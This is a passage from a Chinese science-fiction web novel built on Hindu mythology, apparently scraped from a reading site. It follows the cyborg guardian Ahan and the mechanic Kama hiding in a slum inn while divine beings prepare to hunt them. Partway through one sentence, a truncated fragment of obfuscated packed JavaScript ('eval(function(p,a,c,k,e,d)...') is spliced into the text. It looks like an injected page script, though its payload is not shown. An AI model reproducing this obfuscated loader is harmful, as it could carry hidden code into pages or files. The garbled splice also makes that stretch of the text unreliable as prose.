“小弟,你真的想让我消失的话,我会另外想法子的。”库巴说,“罗婆那虽然是个阴阳怪气的家伙,但是这种事他应该有法子……” “不要再说了。”西洛上前,拥抱了比自己高出一个头的哥哥。 “可是,要是我不做阿修罗,重新转生,或者魂飞魄散的话,以后连个能让你撒气的人都没有了哦。”库巴瞪着自己的弟弟,“那塔只是没我脸皮厚,其实他也总是很护着你的呀。” “我知道。” “你有什么心愿,就赶紧说出来吧,能实现最好,实现不了拉倒,我们赶紧离开这里,其他的事慢慢说。”库巴伸出粗厚的巨掌,揉着西洛淡紫色的头发,“嗯?” “那么,你呢?你到底有什么愿望?”西洛抬头看着他。 “我……那个,其实就是……”一说到这个,库巴的脸就又红了起来,突然他一把捂住嘴,“我……我不能说!说了一半机会就没有了!” “我想知道。”西洛说,“你可以小声告诉我。” “真的可以吗?”库巴一脸狐疑,“你不会把大哥挫骨扬灰吧?” “到了你们对我没有利用价值的那天,我自然会想办法收拾你们。”西洛勾着库巴的脖子,让他的嘴凑到自己耳边。 “说吧,库巴,你的愿望是什么?” 一旁的那塔翻了半天白眼,终究还是敌不过好奇心,竖起耳朵想听个清楚。 其实,就连他也不知道,像库巴这样神经粗得像钢筋的人,原来也有梦想。 但他只是看到库巴嘴唇在动,并没有听到声音。 生前接受的杀手训练中有读唇术,但成为阿修罗后那塔已很久没用过了。 西洛突然感到库巴的身躯微微颤抖起来,接着他听到了一阵奇怪的声音。 他的肩头被什么一点一滴的浸湿了。 那塔简直不敢相信自己所看到的。 库巴在哭。 他们的大哥,那个杀人如麻,勇猛无敌的凶暴战鬼,慢慢地跪到地上,把头埋在西洛的怀里,城墙般宽厚的肩膀抽动着,居然像个小孩子一样哭得直打哆嗦。 也许是不敢哭出声,也许是太久没哭过,那个巨人的喉咙里发出低哑的呜咽,听起来格外揪心。 “我不想……我不想杀人的……其实我……其实我一点都不想杀人的……” “我也有真心喜欢过的女人……可是我……我配不上她!” “我这样的人,早晚会有报应,能活到哪天都不知道……什么人我也配不上!” “我也想找个老婆……生一堆小娃娃……找个地方安安静静生活的呀……” “呜呜……” 西洛轻轻地抚着哥哥的背。 “西洛,要是我没用了,你就杀掉我,或者让我消失吧。” “要是没有你和那塔,大哥早就没法活下去了呀……” 那塔别过脸。 在那一瞬间,西洛脑子里有一个念头,不可遏制地越变越大。 如果……实现这样的愿望,似乎倒也不错。 …… “你真打算这么干?”那塔问。 情势急转直下,实在是不可思议。 这该不会从头到尾就是一场梦吧? “我越来越觉得这个主意不坏。”西洛说。 “如果你后悔了呢?” “从进入帝拜开始,由首陀罗变成刹帝利,我什么时候做过让自己后悔的事?——这具身体的控制权完全归我所有,还保留了你们的能力,我可以大显身手了。” 库巴来到西洛跟前,忧心忡忡地瞪着他。 “别这么看着我。”西洛没好气地说。 “要是没了我们你混不下去了,随时都可以来找我们!”库巴说。 西洛摇了摇头。 “为什么?和你的哥哥们呆在一起就这么不开心吗?!”库巴拉下脸。 “那样意味着我还要来这里一次,而我不认为我能幸运到那个程度。”西洛叹了口气,“‘下一次’,埋头练你的肌肉时,偶尔也在这里花点时间吧。”他指了指自己的脑门。 “可我就是四肢发达头脑简单,没办法的事呀!”库巴吼道。 那么,接下来就让我实现你们的愿望吧。 白光渐起,将三人的身影笼罩。 意识开始变得模糊,好像被送到了世界的尽头。 感官逐一消失,自己的存在再次变得虚无缥缈。 看着那些如思维般敏捷,承载着无限信息的亿兆光流,才惊觉玄妙莫测的“命运”,其实不过是这个规模超越一切想象的庞大系统中的一串数据而已。 莲花盛开依旧,一劫轮回,无常抑或注定,又有什么区别呢? 卡玛睁开了眼。 周围一片纯白。 她看到自己赤裸的身体上插满了线缆,还有无数连她都感到陌生的机械在忙碌着。 它们在“修理”她的身体。 她看到自己被切开的皮肤下是黝黑发亮的类机械体,但她没有感到任何痛楚。 也许是觉察到她的苏醒,也许是最后大功告成,连接在她身上的线缆自动断开,各种装置也悄无声息地自行移走,她的皮肤愈合如初,身上没有留下一丝疤痕。 她试着抬手,奇迹般地发觉毫无异状,她仔细地观察自己的手臂,无论是形态,还是质地,都和天然的人类躯体没有任何区别——连她都找不出一丝破绽,如果不是仿生工艺已达到出神入化的极致,那就是这本来就是如假包换的天然人体。 她发现自己正被固定在一个透明的巨大圆柱体内,但里面并没有注满奇怪的液体,光线充足,温度恒定,反而非常舒适。 这是什么地方? 最后的记忆持续到什么地方?她昏迷了多久?其间又发生了什么? 她无暇思考这些问题,因为她发现还有其他同样的圆柱体矗立在自己周围。 当她刚刚萌生“要走出这个东西”的念头时,一股无形之力便轻轻地托着她下降,直到她的脚轻触地面,她在一尘不染的洁净白色地面上行走,甚至在圆柱体的开口处发现了一套尺码样式与自己之前进入贫民区做黑工时一模一样的衣物。 当看到其他几个圆柱体内的“陈列物”时,她大吃一惊。 一个是希格玛——那个在警察总署地下车库里曾经与她见过一面的赤发男子。 另一个是身材魁梧的壮硕巨人,他的相貌卡玛觉得非常眼熟。 天,这个巨人不就是常常上电视的那个,世界集团的总裁,因陀罗·雷吗? 他们全身赤裸,同样在接受“维修”。 维修工程堪称规模浩大,因为仅从肉眼即可看出,他们的躯体受损程度不轻。 希格玛断了一只手臂,身体其他部位也多处损坏,而因陀罗左肋斜跨过右腰侧以下的部分全毁,正要被接上去的部分躯体一看就知道是新部件,不计其数的修理探头正飞快地处理受创面,所使用的操作规程是卡玛从未见过的,这两个人的机体复杂程度远远超过当今世界上所有实验室里开发中的最高端项目。 世界集团,居然有这样的技术吗? 她突然想起了一些事情。 因陀罗和希格玛,大概和他一样,都是传说中的天神吧。 那么,这些就是天神使用的科技了。 想起那个男人,她的心突突地跳了起来。 因陀罗和希格玛身后还有第三个圆柱体。 他果然在里面。 毗沙门财团的首脑,刹迦罗·毗沙门,他的躯体看上去也遭受重创,胸膛被完全贯穿,不知道究竟经历了怎样惨烈的激战。 他眼睑微垂,神色平和,身体上的创伤似乎与他无关。 或者,他的灵魂此时根本就不在这里。 到底发生了什么事? 是什么人能把这三位天神伤到如此程度? 他们现在能在此不受打扰地接受机体维修,应该是处于某些更加强大的力量保护之下才对。 莫非这“更加强大的力量”,就是刹迦罗的委托人? 还有最后一个圆柱体。 卡玛小心翼翼地走过去。 越接近其正面,她的心就跳得越快,对于接下来要看到的东西她有某种预感,甚至是渴求。 脚步越来越快,直到某些景象进入视野。 “噢!……”她情不自禁地发出低呼。 她紧紧地捂住嘴,不让自己继续发出声音。 眼泪一下子就滑了出来。 第五个悬浮在巨大的容器中接受维修的,是阿汉。 15. 第 15 章 阿什提·第六十八贫民区。 这是一家小旅馆,无照营业,只收现金,不需要任何证件即可入住,过一夜只需要一百八到两百四不等;为了避免各种乱七八糟的事,老板宁愿每个月向地头蛇缴保护费,这样的旅馆在贫民区比比皆是。 老板待在柜台后,朝着店门口发呆。 淅淅沥沥的小雨下了一夜,到现在还没停,这个城市就像一个冷却下来的巨大锅炉,再过几个小时就会重新回温。 大概又是个讨厌的雾天吧? 电视机在播送整点新闻—— ……世界大厦的整体维修进入第三天,负责该项工程的是世界大厦的承建商瓦杰拉国际建筑集团,集团发言人表示世界大厦所受到的损毁虽然严重,但因为本身的安保系统牢靠,所以不会出现整体坍塌现象,该发言人还表示工程进展顺利的话维修工程预计持续十六周,瓦杰拉集团会尽快将世界大厦重新交付使用。 ……因为世界大厦遭受恐怖袭击事件的影响,全球股市持续低迷,昨日收盘时报15894点,再破历史最低纪录,阿周那集团的首席金融顾问团在昨天发布的评估报告中指出目前的恐慌状态必须尽快结束,他敦促世界集团高层立即采取措施恢复投资信心,否则不排除全球范围内的金融危机爆发的可能。 ……阿什提的多家购物商场出现消费者哄抢生活用品的现象,另据市政厅统计的数据,面对大规模游行示威,政府采取妥协态度取消封锁令后,过去一周内全市流动人口激增,出境航班爆满;由于市民和外来劳工大批逃离,市内不少系统陷入瘫痪状态,虽然部分资方提升高达三倍的时薪,但大部分人都拒绝上班。 真的好像世界末日一样呀。 老板托着腮帮,弹了弹烟灰。 上面到底怎么啦?怎么一下子就仿佛天要塌下了似的,个个都这么手慌脚乱的。 说起来,还真有人问过他走不走的。 他摇头纯粹是因为无处可去而已,一个破产的中年老男人,老婆带着孩子跟他的生意对手跑了,颠沛流离一无所有的他为了躲债藏进贫民区,一待就是十几年,本来还想等到债务过期然后再另找出路,结果没想到反而喜欢上了这地方。 他觉得自己变成了一个认命的人,八年前他变成一个远古教徒后,更觉得一切都是命,早在冥冥中就被安排好的一样,自己身上所发生的一切,全都是因果,躲不掉避不过,只能平心静气地接受,听上去挺懦弱,可他觉得还行。 换作是以前,他绝对不会在三天前接待那两位客人—— 那两位一眼就能看出大概在哪里惹了些什么麻烦的客人。 ……八小时前世界集团通过网络发布了一份信息,引来诸方高度关注,但意外的是这则信息不是任何声明或公告,而是一则寻人启事。 咚——咚——咚—— 一阵沉重的脚步声从楼上传来。 老板忙熄掉烟,随手抄起一份报纸手忙脚乱地赶起烟味。 咚——咚——咚—— ……男性,黑发,蓝眼,身高两米一七,极为壮硕,经过全身改造,机体局部有损毁现象,与他在一起的女性,墨蓝色短发,蓝眼,身高一米七三,这些是世界集团提供的影像…… 脚步声来到跟前,一个巨大的黑影将旅店老板连同他的电视机一并笼罩。 老板目瞪口呆地抬头望着那张毫无表情雕塑般的脸——蓝荧荧的左眼正盯着他。 ……两者与最近发生的一系列事件密切相关,警方和军方已展开联合搜寻,也希望发现其行踪的市民能够及时与世界集团联系。 透过镜片,老板与那顶天立地的巨人三目相对。 他飞快地跳起来把电视机的屏幕挡住,却没想到去按开关。 ……任何与此二人下落相关的线索一经确认,提供者将获得最低三百万元的奖金。 整点新闻结束,电视里开始播放广告。 “汉……汉巴达先生,早……早上好,哈哈哈!”老板干笑几声,腿却不争气地软掉,背靠着电视机慢吞吞地向下滑。 就在他快要瘫坐在地上时,一只巨掌越过柜台,抓住了他的衣领,把他整个人像小鸡似的拎起来搁在座椅上。 “谢……谢谢……”老板结结巴巴地说,突然他大叫起来。 “我什么也不会——” 轰!—— 一声闷响盖住了他的声音,巨人的拳头在墙上开了个洞,从侧面看去,就好像老板的脑袋被塞进墙了一样。 “我……我我……呜……”可怜的老板被吓坏了。 他只是想告诉这个大块头,他什么也不会说出去,就当什么都没有看到一样—— 哪怕有三百万的奖金…… 巨人把半截手臂从墙里取出来,拍掉灰尘。 老板亲眼看到他手臂上被墙里钢筋划破的地方迅速愈合,连一滴血都没流。 巨人举起右手食指放到嘴边,慢慢地摇了摇。 然后他从裤袋里掏出一些皱巴巴的钞票放到柜台上。 “是……是的是的……我知道了!”老板拼命点头,“我会给卡……” 巨人的眼睛危险地瞪了起来。 “我……我我我……我会给卡……不,我是说……给那位小姐准备早餐的!” 求求你,不要再那样盯着我看,我的心脏不是太好哇…… 但那巨人依然冲着他虎视眈眈。 “早……早餐和午餐!”老板赶紧说,“晚餐也一起准备!” 还是在瞪。 “三餐都赠送新鲜水果!” 要是这样还不成,你干脆一拳打死我算啦! 幸好那巨人的目光总算柔和了一点,似乎是满意了。 目送他走出旅店门口,背影渐渐消失在雨雾中,老板觉得自己一下子少了十年命。 光吓他有什么用?这个贫民区虽然小,离市区也远,但毕竟也住了好几千人,他每天都早出晚归也不知道在外头做些什么,那体格那身板那相貌,如今那个大公司的寻人启事铺天盖地,连照片都放出来,只有瞎子才会认不出。 这个大块头和那女孩到底是什么关系? 说他们与最近发生的事情有关,难不成那栋大楼就是他们弄折的? 老板的早上就在胡思乱想中度过,他没打那个24小时的热线电话,也没对任何人说起此事,事实上他的旅店附近本来就没住什么人,也许就是因为这样才会被他们挑中落脚。 他盯着电话发呆。 这个时代,这样的电话已经是古董级的了,不过依然能用。 只要拿起听筒,按下几个键,然后对着那边说“喂,你好,你们要找的两个家伙现在就住在我的店里”,然后装做什么也没有发生,马上就会有警察军人的飞机坦克大炮装甲车开过来把人带走,然后他能拿到三百万,至少。 打了,就有三百万,拿来做本钱,搞不好还能东山再起,离开这里,到上面再打拼个十年二十年,说不定又是一身荣华富贵呢? 可是感觉好像很麻烦的样子。 要不,拿这钱来换个人工机体什么的,他的腿一到这种阴湿天气就会痛。 想着想着,不知不觉已经到了上午十一点。 噔——噔——噔—— 轻轻的脚步声响起,等他回过神来才发现一个人不知什么时候已经站在了柜台前。 “哦……对不起!”他忙摸出眼睛戴上,看仔细后又卡了壳。 “卡……卡……” “这附近有没有机械商场?”她问。 “呃……好像有一个。” “在哪里?” “在……” 问到了地址,她说了声谢谢,然后朝旅店门口走去。 “那个……您的早餐……午餐还有……” “都留到晚上。” “……”老板抓了抓光秃秃的脑门,“哦。” …… 下午四点,那个独眼巨人却先回来了。 过去的三天,他都是早上五点走,晚上九点回来,准得像精确校对过的秒表,然而今天却提前回来,对此老板突然产生了一种不太好的预感。 他连忙交待了其他的几位房客,说临时有检查,让他们先避避,那些房客要么是嫖客妓女,要么是无业游民,虽然怨气十足,但还算合作。 果然,那巨人上楼之后没一会,便像一头愤怒的公牛带着一身狂风骤雨冲了下来。 老板早有准备,他翻出一个摩托车头盔扣在脑袋上,躲在柜台后缩成一团。 砸跨柜台,巨人一把将他揪出来拎到面前,用凛冽如冰刀的目光对着他乱戳。 那一刻,老板觉得他要是没说出那巨人想听的话,也许会被丢到九霄云外——撞破旅店屋顶,穿过厚厚的污染层,越过一座座森林般的大厦,到达几乎伸手就能摸到太阳的最高点后,再坠回凡间的贫民区,摔成肉酱,为野猫野狗加菜。 “她……她去附近的机械市场了。” 于是巨人拎着他大步跨出旅店门口。 老板很想告诉对方,把他放下来他一样会乖乖带路,没必要这样一直把他攥在手里,但见那大块头的脸已经黑得近乎变成墨色,终于还是把话咽了下去。 他们在半路上遇到了那个女孩。 她正费力地拖着一个大帆布袋。 老板热泪盈眶,他觉得自己得救了。 巨人丢下他,上前不由分说就弯下腰把那女孩扛上肩。 “放我下来!”女孩大叫。 巨人突然扬起手,朝她的臀部打了两下。 虽然架势吓死人,但落到她身上却轻得几乎连声音都没有。 “你打我!你这个大铁疙瘩居然打我!”女孩用脚踢他,拉起他的汗衫拧他。 他的眉头皱成一座小山,当然这不是因为被弄疼。 “呜呜……连你都欺负我!”女孩带着哭腔胡乱喊着,“我还以为至少还有你帮我!” 他拎起女孩的帆布袋,朝旅店的方向走去。 完全被忽略的老板爬起来,悲愤地跟在后头。 他也曾经年轻过,这种事情他也懂的啊。 可是,犯不着拆他的小店吧?! 阿汉在生气。 被他极没面子地扛回房,自知理亏的卡玛只好忍气吞声,红着眼圈咬着嘴唇抱着膝盖坐在床上,一副没人疼爱的苦孩子模样。 阿汉弄来一盆热水,蹲在床边,用湿毛巾帮她擦拭被淋透的头发,一双合起来就几乎能将她的腰握住的巨掌动作熟练灵巧,如果不是亲眼所见,谁也不会相信一个外形如此粗犷的巨人,做起这些照顾人的事会如此自然。 但是卡玛知道,这个大铁块在生气。 擦完之后他拿来干净衣物放在她脚边,然后站起来背过身去。 她乖乖地擦身,换衣,之后重新保持着原先的姿势坐在床上。 倒掉水后,阿汉搬来椅子在门口坐下,一言不发地用庞大的身躯堵住唯一的出口。 卡玛知道那是“这下看你还到处乱跑”的意思。 如果不出意外,他一定会保持那个姿势彻夜把守房门,直到第二天她睡醒为止。 她没好气地盯着阿汉,却被他迎上来的目光吓了一跳,之后心里大叫不妙。 阿汉沉默寡言,平时什么都听她的,无论她做什么都会采取纵容态度,但这次看来是真的被她惹火了。 她跳下床,光着脚丫在房间里漫无目的地走来走去,阿汉的视线就像舞台上的聚光灯如影随形,甚至当她钻进洗手间发呆,都能感到那束蓝荧荧的光穿过墙壁锁定在她身上。 两人的冷战持续了大约一个钟头,卡玛终于忍不住企图打破僵局。 又不是她愿意跑去那种鱼龙混杂的地方,说起来还不是为了他? 虽然现在是非常时期,天神、阿修罗还有人类都在满世界找他们…… 他不也每天一大早就跑出去,到了晚上才回来吗?为什么她就不行?她好歹也混了这么多年,又不是什么都不懂的失忆小女孩! 她走到门口,推他的肩膀。 他瞪着她。 “去跟老板赔礼道歉。”她说。 他摇头。 “我不会再出去啦,在外头逛了半天我都快要饿死了,你下去顺便叫老板送点吃的上来。” 说着她的肚子十分配合地发出咕噜咕噜的声音。 见他盯着自己,卡玛就知道这个大铁块在做血糖测量和生体能量分析,以确认她是真的饿了而不是想耍什么花招把他支开。 她又好笑又好气,真想一脚踩到他那张面无表情的橡胶脸上。 于是他起身开门,又很快地把门合上,像怕自己养的小猫趁机从门缝里窜出去。 卡玛仰面倒在床上,望着天花板上开裂的涂层入神。 在警察总署与阿汉分开,两人再次相遇时,很多事情都变得不一样了。 然而有一件事却始终没有变。 只有和阿汉在一起时,她才会觉得心安而无所顾忌。 她偶尔会想起那双金色的眼。 但也仅仅是偶尔。 她不知道自己为什么会唤醒阿汉后和他一起逃出那个地方。 或许只是想找到一点能让自己支配的时间和空间。 如果一定要有一个人与自己分享这些,那么一定是阿汉。 如果只能选一个人陪在自己身边,那么一定是阿汉。 从小到大,她早已习惯了那个巨人的陪伴和守护,他的沉默,他的照顾,他的纵容和耐心,他的一切。 她和阿汉在一起如此自然,就像注定的事。 那双金色而神秘莫测的眼,成了打破平静的石子。 这三天他们小心翼翼,到处躲避,遛进和时代脱节的贫民区,住在这简陋的旅店里,可她却觉得快活极了,被积压的烦闷在她掉进阿汉臂弯的一霎那消散无形。 有人敲门,是老板。 他毕恭毕敬地端来丰盛的晚餐,而且还附带新鲜水果。 听到他说阿汉正在修柜台和墙壁,她差点笑出声来。 不管那个家伙是怎样“赔礼道歉”的,起码看上去效果不坏。 送走了差点被砸了店还对她点头哈腰千恩万谢的老板,卡玛心情突然大好,开始大口大口地享用起晚餐来。 三小时后,阿汉带着一身灰和涂料回来了。 看来他并不太擅长木工和水泥活。 看了一眼她面前的空盘子,他脱下弄脏的衣物,走进浴室。 浴室里传来水声,卡玛把腿搭在茶几上,啃着手里的苹果,凝视着浴室门里映出的模糊人影。 酸甜的苹果汁刺激着她的味蕾,她听着水的声音。 水流经凝蕴雄性魅力的伟岸身躯,滴在淡绿色方格防滑瓷砖上时发出的声音。 青筋鼓起的赤裸的脚,尺码与他的惊人身高相衬,浴室门口摆放的靴子,和它们的主人一样厚实沉重。 其中一只歪倒在地,靴底曲线排列的方形凸纹缝隙里填着泥沙。 她的咀嚼越来越缓慢,她觉得热量正透过自己的指尖注入那只被咬了几口的苹果里。 浴室的门突然掀开一条缝,一只热气腾腾的胳膊伸了出来。 她赶紧对着手中的苹果狠咬了一大口,发出咔嚓咔嚓的夸张声响同时,眼角扫向起初的方向。 那只大手在摸索着寻找毛巾,她想他现在一定满头泡沫,连眼睛都睁不开。 水珠从他的手肘滴下,被热水冲洗过的皮肤略微有些泛红,粗壮的胳膊上每一块肌肉都闪闪发亮,随着他的动作伸缩着。 就是这副强健的臂膀,能把她像根羽毛似的抛起。 就是那只手,毫不客气地揍了她的屁股,虽然一点也不疼,可也实在太丢人。 她都已经二十岁了啊! 原来当她为了技术为了研究为了金钱忙得不可开交的时候,不知不觉已经二十岁了。 那个男人,也默默地守护了她那么多年。 浴室门开了,那个庞大的身影带着潮湿的雾气走了出来。 阿汉光着上身,穿着黑色的牛仔裤,当他想弯腰穿上靴子的时候,无意中朝她所在的方向扫了一眼,之后拎起靴子朝她走来,脸上隐隐有些忧虑。 看着那个魁梧的身影向自己靠近,她甚至无法把目光从他公牛般粗厚的脖子和随着步伐微微抖动的饱满胸肌上移开。 直到那只蓝眼睛近在咫尺,她才回过神来。 “我没事,只是……只是在想一些事情而已。” 阿汉抬手,将那半个几乎快被她攥熟的苹果从她手中取出,放到桌子上。 一个念头不可遏制地闪了出来。 她完全没有去考虑这样做是否符合逻辑,便直接通过并且立即予以执行。 她起身走进浴室,砰的一声关上门。 阿汉套上汗衫,穿上靴子,盯着桌上那个被咬了一半的苹果发呆。 浴室里传来水声。 他站在那里,像尊塑像。 当发呆的时间连自己都觉得有些长的时候,阿汉才惊觉时间的流逝。 卡玛已经进去将近三个钟头了。 浴室里早就没了水声,更没其他动静。 他突然一激灵,冲到浴室门口,刚刚抬起脚,想了想又放下,开始敲门。 敲了三次,无人应答,阿汉的眉头越皱越紧。 不可能,他没有觉察到任何天神或阿修罗的气息。 难道,她在浴缸里睡着了吗? 咣!—— 他用膀子撞开门。 “卡——” 低沉的嗓音刚刚响起,却又硬被掐掉了。 卡玛并没有消失。 她没有被天神或阿修罗掳走,也没有掉进被割裂的时空缝隙。 她站在浴室里,望着他,身无寸缕。 斑驳的墙上多处泛黄,一些角落里生着青苔,陈旧的浴具黯淡无光,昏暗的灯泡上搭着蛛网。 而卡玛站在那里,每一寸白皙的肌肤都像在隐约发光。 她看起来就像一位女神。 阿汉怔怔地看着她。 “我以为……” 卡玛咬着嘴唇,低声说。 “我以为你……”她轻咳一声,“两个小时前就该闯进来了。” 听了她的话,阿汉的蓝眼睛瞬间变成了鲜红色。 他的腰被轻轻地圈着,然后他听到那个女孩说: “求求你,阿汉,抱我。” 他没有听错吗?他发誓要永远守护的人,在喊他的名字,要他抱他? 小家伙想要他? 这是他的女神啊。 阿汉猛地将卡玛揽入怀中。 阿汉几乎没有想象过类似的情景,仅有的一丁点妄念也被他惶恐地扑散,塞进了记忆深渊的最低处,他从未料到这些妄念有一天会从不可测的黑暗中勃然而起,变成璀璨的光。 然而这的确是现实,他几乎将那具女性的身躯揉进自己怀中,他渴望把一切都给她,他发誓要实现她所有的愿望,哪怕这会让他死去,让他的身体枯朽,令他的灵魂破碎,他什么都不怕,对于一个堕落者来说,只有一件事会令他恐惧。 那就是她不幸福。 然而现在她看起来并非如此。 阿汉的肩膀、胸膛和大腿上开始出现紫蓝色的光纹,这种光纹很快被他眼瞳中的猩红色侵蚀,这种景象还是第一次发生。 他感到自己的意识开始渐渐模糊,某个东西正在飞快地占据他的身体。 阿汉两米一七将近三百公斤的魁梧身躯竟被她推倒在床上。 但他在倒下之前捏住了她的手腕,他毫不介意自己的身体变成肉垫,情欲令这个沉默温厚的巨人变得亢奋,他现在只想做一件事。 卡玛……卡玛…… 真不敢相信…… 对于卡玛来说,这实在是太疯狂了。 在阿汉的怀中,她幸福得想哭。 阿汉背上再度腾起轮状火焰,就像他与因陀罗交手时一样,两人眉心都闪着红色的光印,卡玛的肩部突然开启,露出精密的机械组织,四只细长的机械手臂朝后伸到阿汉的背上,透过他的明王业火和逆□□与他背上破损的机体创面接触。 卡玛的机械手臂分解成无数小块,开始进行修复工作,两人被无数线缆连接,其中墨蓝色的来自阿汉,暗红色的属于卡玛,他们的机体开始进行信息和能量传输,对此两人并不在意,因为他们即将进入合二为一的最后阶段。 阿汉全身肌肉紧绷坚如铁石,卡玛几乎快被注满溢出的爱夺走全部的感官。 他们迸射出耀眼夺目的红光,这光芒刺透了厚厚的污染区,在天空中凝聚成盛开的光莲,与灯火通明紧张维修中的世界大厦遥相对应。 大威德明王与降三世明王终于结合了。 完全进化后的机体,忽略摩诃的能量规则,应该已经达到千年前的巅峰状态了。 那个人很快就会采取新一轮行动了吧? 他必须这样做,否则就来不及了。 似乎已经迟了。 这完全符合我们的预定,对我们很有利。 帝释天和毗沙门天的机体随时可以再启动。 唤醒帝释天,委托他执行“德瓦帕拉”,内容是毁灭降三世明王的机体,对于任何阻碍该委托顺利进行者,帝释天将有权任意处置,上限为剥夺对方在当前一世中的物理存在;当降三世明王的机体被摧毁,或帝释天的机体停止行动,或同时满足以上两个条件时,“德瓦帕拉”自动失效,委托终止——以上是湿婆提交的第2471·623·4·752345893号议案,表决开始——湿婆,赞成,无附加条件。 梵天,赞成,附加条件一个。 毗湿奴,赞成,附加条件一个。 那么,“德瓦帕拉”现在启动。 …… 因陀罗睁开了眼。 “天,雷先生终于醒过来了!快去告诉大夫!” “啊!……是!” “赶紧打电话通知世界集团的董事会!……对了,能不能联系到希格玛先生?” “大门口怎么还有这么多记者?不是说把他们统统赶走了吗?” “雷先生?你怎么样?有没有什么地方不舒服?” “……” 真是吵死了,每次遇到这么屁大一点事这帮人就大惊小怪的。 因陀罗掀开被单,扯掉了身上大大小小的感应器,顿时旁边的仪器警报声一片。 “雷先生?!你怎么了!” “如果我说我暂时还死不了,你们会不会很失望?”因陀罗没好气地翻着白眼。 “……” 起身下床,赤着脚踩着光滑的地板,凝视着自己在落地窗里留下的倒影,完全不介意自己在众目睽睽下赤身裸体。 全身至少有三分之二被更换过。 他掰着手指,发出咔嚓咔嚓的响声。 有些地方还不能控制自如,至少还要花上两三个钟头才能与其同步。 妈的,大威德,算你狠,我手下留情,你却给我来真的,这次不把你拆成零件我就步行上班一个月! ……还是一周好了。 “雷……雷先生……”旁边的人小心翼翼地轻声唤着。 虽然世界集团首席执行官兼董事长因陀罗大人的体格足以媲美摔角冠军,但…… “你们都下去,叫我的护法——呃,我是说,叫我的顾问头头来见我。” “是,雷先生。” “还有。” “什么?” “给我弄点衣服来穿!”因陀罗大吼,“我讨厌傻瓜一样的病号服!” 很快他就换好了衣服,当他忙着系领带时,他的首席顾问,也就是他的护法神请求接见。 “替我备车,我要出去办点事。”因陀罗说。 没等对方开口,他又接上一句: “我知道现在一大堆活等着我忙,不过我现在要处理的是超大头。” “是。” “如果毗沙门问起我的行踪,你就说不知道。” “……” “我知道那家伙不好骗,你想办法尽量拖住他就是了。” “是。” “我的样子怎么样?”他转了转身。 “很好。” “你好像一点都不想知道我要去哪里,干什么!”因陀罗皱着眉盯着他的护法神。 “可是……” “你要问我,我才好告诉你呀,还要我主动开口,真是的。” “因陀罗大人……您要去什么地方?又要做什么事情呢?……” 因陀罗一脸肃穆地抬手指向远方,借助清晨的微光,他的护法神发现那个方位是阿什提南郊。 “第六十八贫民区,我要去杀人。”因陀罗说。 “如果太阳落山前我还没回来,你们就去那儿捡我的骨头吧!” 这是第一次阿汉与卡玛同榻而眠,以往卡玛入睡时,阿汉通常是正襟危坐地守在她身边——他似乎从不需要合眼,即使是与卡玛赤裸相拥的那数个小时里,他也依然开启着警戒系统。 但这样已经足够了。 他也许无法一次接受更多的震撼。 之前他们做了一件非常疯狂的事,虽然这种事情每时每刻都在这颗小星球上的各处发生,但对于阿汉来说,却瞬间颠覆了他原本试图固守的一切。 他趴在床上,侧着脸,望着窗外依稀的亮光。 卡玛已经醒了过来,此时正用手指轻轻地勾勒着他背上巨大的黑色莲花纹身。 真不敢相信,她居然真的那么做了。 她引诱了她忠心耿耿的守护神,并且电闪雷鸣地突破所有禁忌。 她甚至企图凭借自己并不丰富的经验征服这个身形足有她两三倍大的巨人。 挑逗一个禁欲了上千年,甚至更长时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她想和阿汉在一起,不受任何打扰的,平静地生活下去。 一定有什么办法,可以不变成那个降三世明王,能一直维持住现在的自己。 什么都不做的话,早晚降三世会彻底侵蚀这个身体,那时她就会消失,什么也不会留下。 可是…… 卡玛突然觉得有些悲哀。 她明明已经做好了准备的。 走进浴室之前,她明明告诉自己,至少这一次,留在记忆里。 面对阿汉时,她明明…… 卡玛突然哭了。 真是,越来越像个女人了。 果然对双方的改变有这么大吗?那只不过是一种雌雄个体间的自然行为罢了。 本来觉得任性一次就好,可现在却开始贪心地想要更多,最好是一直,永远。 阿汉察觉到她的异样,皱着眉看她的脸,小心翼翼地擦拭着她的泪。 “为什么你要对我这么好?!”她突然回过头,神经质地冲着他大吼。 “我能给你的只有这么多了!” “对于这样的我,一个凡人,值得你们这些神魔做这么多吗?一千年,足够我这缕不起眼的灵魂轮回多少次?” 阿汉有些茫然地望着她,像是不知道她为什么突然生气。 “如果我的前世不是她,你会一直守在我身边吗?” 不会,那个身上裹着塑料布的小女孩也许在阴雨天里挨不过几个小时,就会孤立无援地死在垃圾堆里,成为秃鹫难得的美餐。 “如果我的前世不是她,他会为了我跟那些阿修罗拼命吗?” 不会,那个从警察局里逃出来的女机械师不要说遇到阿修罗了,在地铁里就会被大卸八块,倒在血泊中,为当天社会版上的杂七杂八多添一笔。 她甚至不会遇到他们。 她本来以为自己可以一直若无其事地躲在王牌机械师的身份后,在这个世界里走过的一遭,不必成为那些住在城市最顶层的大人物中的一员,至少也不会像那些嗑药过度被□□后弃尸于贫民区垃圾堆的妓女一般悲惨,她只是想以自己的方式生活。 然而她直到刚刚才突然明白,原来她终究还是需要爱。 她终究不过是个人,用两条腿走路的所谓高等智慧生物的其中一员。 她终究还是会孤单,还是会害怕,还是会和别的女人一样,因为缺乏安全感而对男人投怀送抱的。 阿汉是个好男人,他强壮,可靠,忠诚,温和,然而他其实是大威德明王。 刹迦罗是个好男人,他性感,睿智,高贵,优雅,然而他其实是毗沙门天。 这就是好男人的本质——他们其实都不是人。 而她呢? 能这样心安理得地躺在阿汉怀里,其实不过是因为占着另一个女人的皮囊? 阿汉多少年来守护着自己,只是在透过她看千年前的爱人。 她开始冲着那巨人拳打脚踢。 阿汉握住她的手,冲着她摇头,他怕她弄伤自己。 她继续揍他,于是阿汉就坐在那里任她打。 有时她生气也会抓这个大个子来发泄,阿汉都一言不发地随她为所欲为,等到她打累了,就把她抱在怀里替她揉红通通的指节,等她冷静下来后,想来想去都觉得是自己不对,只好朝阿汉道歉,每次都是这样。 但是这次不会了,这次绝对不会了—— 她有足够的理由生阿汉的气,虽然主动推倒对方的人是她。 “其实你是盼望她醒过来的吧?” “……” “你觉得这么忠心耿耿地守着我——不,是守着她,她醒过来就会喜欢你?” “……” “大铁块,我恨你!”她厉声宣布。 阿汉瞪她。 “你欺骗我的感情!”她发出控诉。 他的眉头皱成小山。 “……你还凶我,你已经变坏了!”她跳下床,开始穿衣服。 